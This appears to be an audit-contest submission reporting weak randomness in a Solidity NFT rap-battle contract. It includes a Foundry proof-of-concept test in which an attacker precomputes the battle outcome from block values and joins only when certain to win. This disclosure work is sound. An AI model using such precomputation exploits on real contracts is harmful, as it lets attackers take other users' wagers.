Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

The winner of a battle can be determined before deciding to take part in a competition

Summary

An attacker can wait to join a battle until they are sure they will win the contest. This is due to the fact that no real randomicity is implemented, so any user can compute the result of a battle before joining it: if the pre-computed result shows they would win, they can enter the stage and be certain of obtaining the prize.

Vulnerability Details

The RapBattle.sol::_battle determines the final winner of a battle using the following computation:

uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;

and then proceeds to use the "random" value to determine the winner.
However, this value can be pre-computed by any attacker interested in joining the battle. The attack vector is as follows:

  • a user enters the stage with their rapper NFT, and waits for a challenger

  • the attacker, seeing that someone as entered the stage, starts computing what the value of "random" would be if they entered the battle

  • if the value of random would make the first user the winner, they wait for the variables to change, and recompute "random" (basically, wait for a new block)

  • when the new value of random would make the attacker the winner, they insert their transaction to challenge the first user, and win the battle and the bet associated with it

This approach is shown using the following test case, which can be added to the OneShotTest.t.sol file:

function testWeakRandom() public twoSkilledRappers{
//let's approve both NFTs for battle first
vm.prank(user);
oneShot.approve(address(rapBattle), 0);
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
//now the challenger decides to enter the stage and wait for a rival
rapBattle.goOnStageOrBattle(1, 0);
vm.stopPrank();
//the user will now compute the result of the battle, before even entering
//if the result is favorable, they will enter and win
//otherwise, they will wait for a more favorable moment
vm.startPrank(user);
//the following code and computations are taken from RapBattle.sol
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 userRapperSkill = rapBattle.getRapperSkill(0);
uint256 totalBattleSkill = userRapperSkill + challengerRapperSkill;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(user)))) % totalBattleSkill;
//as long as I am not certain to win, wait for a new value of the random variable
while(random <= challengerRapperSkill){
skip(3600);
random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(user)))) % totalBattleSkill;
}
vm.recordLogs();
rapBattle.goOnStageOrBattle(0, 0);
//let's make sure user won, as expected
Vm.Log[] memory entries = vm.getRecordedLogs();
// Convert the event bytes32 objects -> address
address winner = address(uint160(uint256(entries[0].topics[2])));
assert(winner == user);
vm.stopPrank();
}

Impact

If there is no random outcome, users will participate in a battle only when they are certain of winning. Initially, this will lead to an unfair advantage to users aware of this issue. Finally, as the fact that all battles are tricked becomes obvious, users will stop participating in battles, leading this functionality of the protocol to a halt.

Tools Used

Manual review, VSCode, Foundry

Recommendations

The use of block.timestamp and block.prevrandao does not guarantee real randomicity. Randomicity would greatly benefit from the usage of a VDF solution.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.